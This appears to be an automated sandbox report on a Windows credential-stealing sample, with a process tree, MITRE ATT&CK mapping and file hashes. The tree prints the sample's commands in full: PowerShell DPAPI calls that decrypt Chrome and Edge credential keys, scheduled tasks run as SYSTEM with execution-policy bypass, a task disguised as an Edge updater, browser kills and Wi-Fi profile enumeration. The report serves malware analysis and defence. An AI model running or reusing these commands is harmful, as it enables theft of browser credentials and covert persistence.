PID 1652 wrote to memory of 4404	1652	cmd.exe	188
PID 5352 wrote to memory of 2852	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	189
PID 2852 wrote to memory of 1628	2852	cmd.exe	191
PID 5352 wrote to memory of 4920	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	192
PID 4920 wrote to memory of 5772	4920	cmd.exe	194

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2148
- C:\Users\Admin\AppData\Local\Temp\2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
  C:\Users\Admin\AppData\Local\Temp\2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe C:\snapshot\stealer\index.js --hidden
  2⤵
  - Drops file in System32 directory
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5780
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3672
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "MicrosoftEdgeUpdateTask" /f 2>nul"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:564
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "MicrosoftEdgeUpdateTask" /f
      4⤵
      PID:2632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852332378\task.xml" /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6044
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "MicrosoftEdgeUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852332378\task.xml" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAIPkNGUPmjEut5C6GKZXf3xAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAClEGBWaHThikSkjJjU3V8WxI/1O6DktTvNj3cmeYIUHAAAAAA6AAAAAAgAAIAAAADkNDXyyYHjETwHtjjD0MwZI9Ib5szvU4ePxlTs73WziMAAAAEArsKCo30Xk0knclycnK/B69HsNac13aCYZKKw3ktQGWGJG6nLz5+c4E6+riSOWtEAAAAArZ21G4pce+yksO3G0og4YHLxMLldU3aBIAszPWsSA2w47Hai5czRt3mwVhTd8M83+pt8ZziLO3AxZ58XxPkrM');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2112
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAIPkNGUPmjEut5C6GKZXf3xAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAClEGBWaHThikSkjJjU3V8WxI/1O6DktTvNj3cmeYIUHAAAAAA6AAAAAAgAAIAAAADkNDXyyYHjETwHtjjD0MwZI9Ib5szvU4ePxlTs73WziMAAAAEArsKCo30Xk0knclycnK/B69HsNac13aCYZKKw3ktQGWGJG6nLz5+c4E6+riSOWtEAAAAArZ21G4pce+yksO3G0og4YHLxMLldU3aBIAszPWsSA2w47Hai5czRt3mwVhTd8M83+pt8ZziLO3AxZ58XxPkrM');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAIPkNGUPmjEut5C6GKZXf3xAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxXmJKeQdSMCn3VwOJzpuq65Rv6mxFLE/1dcbfNoi9DgAAAAADoAAAAACAAAgAAAA6B5cNjjWaPKqugrWcDlkUdWXtkTdTBtDkOwVaiVMztcwAAAAg68B58q65XFICtsWB4UKXVHxlVrA5UpLrHS5OxOtJ5pScJPrSHV2vfnf5IAAZxeBQAAAAOcj5v/A+X1LhapzW5hirBrSg0aGP7B6w/I+i4b7lN/K1279DaRfOK1C0yPr9hEA5V78WBm9qhzmGRgvm1bLb4E=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4084
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAIPkNGUPmjEut5C6GKZXf3xAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxXmJKeQdSMCn3VwOJzpuq65Rv6mxFLE/1dcbfNoi9DgAAAAADoAAAAACAAAgAAAA6B5cNjjWaPKqugrWcDlkUdWXtkTdTBtDkOwVaiVMztcwAAAAg68B58q65XFICtsWB4UKXVHxlVrA5UpLrHS5OxOtJ5pScJPrSHV2vfnf5IAAZxeBQAAAAOcj5v/A+X1LhapzW5hirBrSg0aGP7B6w/I+i4b7lN/K1279DaRfOK1C0yPr9hEA5V78WBm9qhzmGRgvm1bLb4E=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im chrome.exe 2>nul"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2592
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im chrome.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "chromeSys_1786852335730" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852332378\chrome_sys.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5812
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "chromeSys_1786852335730" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852332378\chrome_sys.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /run /tn "chromeSys_1786852335730""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5228
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "chromeSys_1786852335730"
      4⤵
      PID:2532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5584
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "chromeSys_1786852335730" /f"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:3932
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "chromeSys_1786852335730" /f
      4⤵
      PID:5976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852332378\\chrome_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852332378\\chrome_usr_out.bin', $dec); ""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852332378\\chrome_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852332378\\chrome_usr_out.bin', $dec); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "chromeCNG_1786852338750" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852332378\chrome_cng.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:864
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "chromeCNG_1786852338750" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852332378\chrome_cng.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /run /tn "chromeCNG_1786852338750""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3048
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "chromeCNG_1786852338750"
      4⤵
      PID:5112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5820
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "chromeCNG_1786852338750" /f"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:3276
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "chromeCNG_1786852338750" /f
      4⤵
      PID:4140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "chromeSys_1786852341046" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852332378\chrome_sys.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5312
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "chromeSys_1786852341046" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852332378\chrome_sys.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /run /tn "chromeSys_1786852341046""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5332
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "chromeSys_1786852341046"
      4⤵
      PID:252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "chromeSys_1786852341046" /f"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:4928
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "chromeSys_1786852341046" /f
      4⤵
      PID:1440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852332378\\chrome_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852332378\\chrome_usr_out.bin', $dec); ""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852332378\\chrome_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852332378\\chrome_usr_out.bin', $dec); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "chromeCNG_1786852343924" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852332378\chrome_cng.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4356
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "chromeCNG_1786852343924" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852332378\chrome_cng.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /run /tn "chromeCNG_1786852343924""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3064
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "chromeCNG_1786852343924"
      4⤵
      PID:1400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:852
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "chromeCNG_1786852343924" /f"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:3264
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "chromeCNG_1786852343924" /f
      4⤵
      PID:980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im msedge.exe 2>nul"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4816
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im msedge.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852332378\\edge_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852332378\\edge_usr_out.bin', $dec); ""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3176
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852332378\\edge_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852332378\\edge_usr_out.bin', $dec); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852332378\\edge_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852332378\\edge_usr_out.bin', $dec); ""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1652
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852332378\\edge_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852332378\\edge_usr_out.bin', $dec); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im firefox.exe 2>nul"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2852
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im firefox.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4920
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852332378\screenshot.ps1""
    3⤵
    - Executes a command shell one-liner
    PID:948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852332378\screenshot.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    PID:3788
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:2752
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:3312

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852332378\chrome_sys.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6124

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4832

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852332378\chrome_cng.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5572
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\SystemTemp\hyn1yf5m\hyn1yf5m.cmdline"
  2⤵
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:5936
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\SystemTemp\RES1592.tmp" "c:\Windows\SystemTemp\hyn1yf5m\CSCB3E9276475C64EBA8F9E3E7C174347FF.TMP"
    3⤵
    - Drops file in Windows directory
    PID:5440

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852332378\chrome_sys.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852332378\chrome_cng.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4628
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\SystemTemp\voyht1gd\voyht1gd.cmdline"
  2⤵
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\SystemTemp\RES291A.tmp" "c:\Windows\SystemTemp\voyht1gd\CSC937F1572CC04490B85F737BB3DC5ED83.TMP"
    3⤵
    - Drops file in Windows directory
    PID:5132

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 f2d08d203b14c7b04c51457c288935997a9b6b4798749b26d2ed76f793c9be01
MD5 54c53233026ab406044ca984f7332dea
SHA1 2de7cbe7779615c5b90ab5ed7564ecd81a1a026c
SHA512 c24116c0a6776343a1ca7cd485d6679a0af74e7f48f75762dac9ff2652dc08c7306d2e12a479867e2383a8f77e51589ef2fd5d525f9c15d1c8fe85f1a0aed49a
SSDEEP 1536:zKLg5GYo2hOovpfKQVCYXflJdreY8iFHzwqR40i71Yi9MQyPiMrxKi3jiRjdvRwG:zKLg5GYo2hOovpfKQVCYXflJdiYhFHzG
TLSH
T1E0636292E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ead85f1f9dfe1dd665847327fb56efcecef5bb7fea08100a62d903c80482149f
MD5 48d6dabac8027f4b8f12050f560426b1
SHA1 d694f3290a68636214273a5e50cf21a8850deab3
